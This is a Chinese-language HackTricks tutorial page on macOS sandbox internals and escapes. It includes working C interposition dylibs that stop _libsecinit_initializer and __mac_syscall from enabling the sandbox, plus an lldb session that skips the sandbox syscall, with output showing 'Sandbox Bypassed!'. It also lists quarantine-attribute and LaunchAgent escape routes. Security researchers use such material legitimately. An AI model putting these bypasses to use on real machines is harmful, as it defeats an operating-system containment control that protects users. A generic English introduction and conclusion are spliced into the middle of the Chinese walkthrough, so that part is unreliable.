macOS Sandbox Debug & Bypass

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)

支持HackTricks的其他方式:

沙箱加载过程

在上图中,当运行具有授权**com.apple.security.app-sandbox的应用程序时,可以观察到沙箱将如何加载**。

编译器将/usr/lib/libSystem.B.dylib链接到二进制文件。

然后,libSystem.B将调用其他几个函数,直到xpc_pipe_routine将应用程序的授权发送给securityd。Securityd检查进程是否应该被隔离在沙箱中,如果是,它将被隔离。 最后,沙箱将通过调用**__sandbox_ms激活,后者将调用__mac_syscall**。

可能的绕过方式

绕过隔离属性

沙箱进程创建的文件会附加隔离属性以防止沙箱逃逸。但是,如果您设法在沙箱应用程序中创建一个没有隔离属性的.app文件夹,则可以使应用程序捆绑的二进制文件指向**/bin/bash,并在plist中添加一些环境变量以滥用open启动新的未经沙箱处理的应用程序**。

这就是CVE-2023-32364中所做的事情**。**

因此,目前,如果您只能创建一个名称以**.app结尾且没有隔离属性的文件夹,您可以逃离沙箱,因为macOS仅在.app文件夹主可执行文件检查** 隔离属性(我们将主可执行文件指向**/bin/bash**)。

请注意,如果已经授权运行.app捆绑包(具有带有授权运行标志的隔离xttr),您也可以滥用它... 除非现在您无法在**.app**捆绑包中写入,除非您具有某些特权TCC权限(在高沙箱中您将无法拥有)。

滥用Open功能

Word沙箱绕过的最后示例中,可以看到如何滥用**open**命令行功能来绕过沙箱。

pagemacOS Office Sandbox Bypasses

启动代理/守护程序

即使应用程序应该被沙箱化com.apple.security.app-sandbox),如果它是从LaunchAgent(~/Library/LaunchAgents)中执行的,仍然可以绕过沙箱。 如此文章中所述,如果要使一个被沙箱化的应用程序获得持久性,可以将其自动执行为LaunchAgent,并可能通过DyLib环境变量注入恶意代码。

滥用自动启动位置

如果沙箱进程可以在稍后将要运行二进制文件的未经沙箱处理的应用程序的位置写入,它将能够通过将二进制文件放置在那里来逃逸。这种位置的一个很好的例子是~/Library/LaunchAgents/System/Library/LaunchDaemons

为此,您甚至可能需要2个步骤:使具有更宽松沙箱file-read*file-write*)的进程执行您的代码,实际上会写入一个将在未经沙箱处理的地方执行的位置。

查看有关自动启动位置的页面:

pagemacOS Auto Start

滥用其他进程

如果从沙箱进程中能够危害运行在较不严格沙箱(或无沙箱)中的其他进程,则可以逃逸到它们的沙箱中:

pagemacOS Process Abuse

静态编译和动态链接

这项研究发现了绕过沙箱的2种方法。因为沙箱是从用户空间应用时加载libSystem库的。如果一个二进制文件可以避免加载它,它将永远不会被沙箱化:

  • 如果二进制文件是完全静态编译的,它可以避免加载该库。

  • 如果二进制文件不需要加载任何库(因为链接器也在libSystem中),它将不需要加载libSystem。

Shellcodes

请注意,即使ARM64中的shellcodes也需要链接到libSystem.dylib

ld -o shell shell.o -macosx_version_min 13.0
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64

权限

请注意,即使某些操作可能在沙盒中被允许,如果应用程序具有特定的权限,就像这样:

(when (entitlement "com.apple.security.network.client")
(allow network-outbound (remote ip))
(allow mach-lookup
(global-name "com.apple.airportd")
(global-name "com.apple.cfnetwork.AuthBrokerAgent")
(global-name "com.apple.cfnetwork.cfnetworkagent")
[...]

Interposting Bypass

有关Interposting的更多信息,请查看:

pagemacOS Function Hooking

Interpost _libsecinit_initializer 以防止沙盒

// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>

void _libsecinit_initializer(void);

void overriden__libsecinit_initializer(void) {
printf("_libsecinit_initializer called\n");
}

__attribute__((used, section("__DATA,__interpose"))) static struct {
void (*overriden__libsecinit_initializer)(void);
void (*_libsecinit_initializer)(void);
}
_libsecinit_initializer_interpose = {overriden__libsecinit_initializer, _libsecinit_initializer};
DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
_libsecinit_initializer called
Sandbox Bypassed!

拦截 __mac_syscall 以防止沙盒

interpose.c
// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>
#include <string.h>

// Forward Declaration
int __mac_syscall(const char *_policyname, int _call, void *_arg);

// Replacement function
int my_mac_syscall(const char *_policyname, int _call, void *_arg) {
printf("__mac_syscall invoked. Policy: %s, Call: %d\n", _policyname, _call);
if (strcmp(_policyname, "Sandbox") == 0 && _call == 0) {
printf("Bypassing Sandbox initiation.\n");
return 0; // pretend we did the job without actually calling __mac_syscall
}
// Call the original function for other cases
return __mac_syscall(_policyname, _call, _arg);
}

// Interpose Definition
struct interpose_sym {
const void *replacement;
const void *original;
};

// Interpose __mac_syscall with my_mac_syscall
__attribute__((used)) static const struct interpose_sym interposers[] __attribute__((section("__DATA, __interpose"))) = {
{ (const void *)my_mac_syscall, (const void *)__mac_syscall },
};
DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand

__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 0
Bypassing Sandbox initiation.
__mac_syscall invoked. Policy: Quarantine, Call: 87
__mac_syscall invoked. Policy: Sandbox, Call: 4
Sandbox Bypassed!

使用 lldb 调试和绕过沙盒

让我们编译一个应该被沙盒化的应用程序:

#include <stdlib.h>
int main() {
system("cat ~/Desktop/del.txt");
}

在macOS中,沙盒是一种重要的安全机制,用于限制应用程序的访问权限,以减少潜在的攻击面。然而,有时候我们需要绕过沙盒以执行某些操作。在调试和绕过macOS沙盒时,我们可以利用entitlements.xml文件来修改应用程序的权限配置,从而绕过沙盒的限制。

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>com.apple.security.app-sandbox</key>
<true/>
</dict>
</plist>

macOS Sandbox Debug and Bypass

Introduction

This document outlines various techniques to debug and bypass the macOS sandbox for security researchers and penetration testers.

Table of Contents

Sandbox Debugging Techniques

1. Using LLDB to Debug Sandboxed Applications

LLDB can be used to attach to a sandboxed application and debug it. This can help in understanding how the application interacts with the sandbox and identifying potential weaknesses.

2. Analyzing Sandbox Profiles

Analyzing the sandbox profiles can provide insights into the restrictions imposed on an application. By understanding these restrictions, security researchers can identify ways to bypass them.

Bypassing macOS Sandbox Restrictions

1. Exploiting Vulnerabilities

Identifying and exploiting vulnerabilities in macOS can lead to privilege escalation and bypassing sandbox restrictions. Security researchers should focus on finding and exploiting such vulnerabilities.

2. Abusing Entitlements

Abusing entitlements granted to applications can also help in bypassing sandbox restrictions. By manipulating entitlements, attackers can gain additional privileges within the sandboxed environment.

Conclusion

Understanding how the macOS sandbox works and the techniques to debug and bypass it is crucial for security researchers and penetration testers. By identifying weaknesses in the sandbox implementation, researchers can help improve the overall security of macOS systems.

<plist version="1.0">
<dict>
<key>CFBundleIdentifier</key>
<string>xyz.hacktricks.sandbox</string>
<key>CFBundleName</key>
<string>Sandbox</string>
</dict>
</plist>

然后编译该应用程序:

# Compile it
gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist sand.c -o sand

# Create a certificate for "Code Signing"

# Apply the entitlements via signing
codesign -s <cert-name> --entitlements entitlements.xml sand

该应用程序将尝试读取文件**~/Desktop/del.txt,而沙盒不允许**这样做。 在那里创建一个文件,一旦绕过沙盒,它就能够读取它:

echo "Sandbox Bypassed" > ~/Desktop/del.txt

让我们调试应用程序,查看沙盒何时加载:

# Load app in debugging
lldb ./sand

# Set breakpoint in xpc_pipe_routine
(lldb) b xpc_pipe_routine

# run
(lldb) r

# This breakpoint is reached by different functionalities
# Check in the backtrace is it was de sandbox one the one that reached it
# We are looking for the one libsecinit from libSystem.B, like the following one:
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
* frame #0: 0x00000001873d4178 libxpc.dylib`xpc_pipe_routine
frame #1: 0x000000019300cf80 libsystem_secinit.dylib`_libsecinit_appsandbox + 584
frame #2: 0x00000001874199c4 libsystem_trace.dylib`_os_activity_initiate_impl + 64
frame #3: 0x000000019300cce4 libsystem_secinit.dylib`_libsecinit_initializer + 80
frame #4: 0x0000000193023694 libSystem.B.dylib`libSystem_initializer + 272

# To avoid lldb cutting info
(lldb) settings set target.max-string-summary-length 10000

# The message is in the 2 arg of the xpc_pipe_routine function, get it with:
(lldb) p (char *) xpc_copy_description($x1)
(char *) $0 = 0x000000010100a400 "<dictionary: 0x6000026001e0> { count = 5, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REGISTRATION_MESSAGE_SHORT_NAME_KEY\" => <string: 0x600000c00d80> { length = 4, contents = \"sand\" }\n\t\"SECINITD_REGISTRATION_MESSAGE_IMAGE_PATHS_ARRAY_KEY\" => <array: 0x600000c00120> { count = 42, capacity = 64, contents =\n\t\t0: <string: 0x600000c000c0> { length = 14, contents = \"/tmp/lala/sand\" }\n\t\t1: <string: 0x600000c001e0> { length = 22, contents = \"/private/tmp/lala/sand\" }\n\t\t2: <string: 0x600000c000f0> { length = 26, contents = \"/usr/lib/libSystem.B.dylib\" }\n\t\t3: <string: 0x600000c00180> { length = 30, contents = \"/usr/lib/system/libcache.dylib\" }\n\t\t4: <string: 0x600000c00060> { length = 37, contents = \"/usr/lib/system/libcommonCrypto.dylib\" }\n\t\t5: <string: 0x600000c001b0> { length = 36, contents = \"/usr/lib/system/libcompiler_rt.dylib\" }\n\t\t6: <string: 0x600000c00330> { length = 33, contents = \"/usr/lib/system/libcopyfile.dylib\" }\n\t\t7: <string: 0x600000c00210> { length = 35, contents = \"/usr/lib/system/libcorecry"...

# The 3 arg is the address were the XPC response will be stored
(lldb) register read x2
x2 = 0x000000016fdfd660

# Move until the end of the function
(lldb) finish

# Read the response
## Check the address of the sandbox container in SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY
(lldb) memory read -f p 0x000000016fdfd660 -c 1
0x16fdfd660: 0x0000600003d04000
(lldb) p (char *) xpc_copy_description(0x0000600003d04000)
(char *) $4 = 0x0000000100204280 "<dictionary: 0x600003d04000> { count = 7, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ID_KEY\" => <string: 0x600000c04d50> { length = 22, contents = \"xyz.hacktricks.sandbox\" }\n\t\"SECINITD_REPLY_MESSAGE_QTN_PROC_FLAGS_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY\" => <string: 0x600000c04e10> { length = 65, contents = \"/Users/carlospolop/Library/Containers/xyz.hacktricks.sandbox/Data\" }\n\t\"SECINITD_REPLY_MESSAGE_SANDBOX_PROFILE_DATA_KEY\" => <data: 0x600001704100>: { length = 19027 bytes, contents = 0x0000f000ba0100000000070000001e00350167034d03c203... }\n\t\"SECINITD_REPLY_MESSAGE_VERSION_NUMBER_KEY\" => <int64: 0xaa3e660cef06712f>: 1\n\t\"SECINITD_MESSAGE_TYPE_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_FAILURE_CODE\" => <uint64: 0xaabe660cef067127>: 0\n}"

# To bypass the sandbox we need to skip the call to __mac_syscall
# Lets put a breakpoint in __mac_syscall when x1 is 0 (this is the code to enable the sandbox)
(lldb) breakpoint set --name __mac_syscall --condition '($x1 == 0)'
(lldb) c

# The 1 arg is the name of the policy, in this case "Sandbox"
(lldb) memory read -f s $x0
0x19300eb22: "Sandbox"

#
# BYPASS
#

# Due to the previous bp, the process will be stopped in:
Process 2517 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x0000000187659900 libsystem_kernel.dylib`__mac_syscall
libsystem_kernel.dylib`:
->  0x187659900 <+0>:  mov    x16, #0x17d
0x187659904 <+4>:  svc    #0x80
0x187659908 <+8>:  b.lo   0x187659928               ; <+40>
0x18765990c <+12>: pacibsp

# To bypass jump to the b.lo address modifying some registers first
(lldb) breakpoint delete 1 # Remove bp
(lldb) register write $pc 0x187659928 #b.lo address
(lldb) register write $x0 0x00
(lldb) register write $x1 0x00
(lldb) register write $x16 0x17d
(lldb) c
Process 2517 resuming
Sandbox Bypassed!
Process 2517 exited with status = 0 (0x00000000)

即使绕过了沙箱,TCC 也会询问用户是否允许该进程读取桌面上的文件

参考资料

从零开始学习AWS黑客技术,成为专家 htARTE (HackTricks AWS Red Team Expert)!

支持HackTricks的其他方式:

最后更新于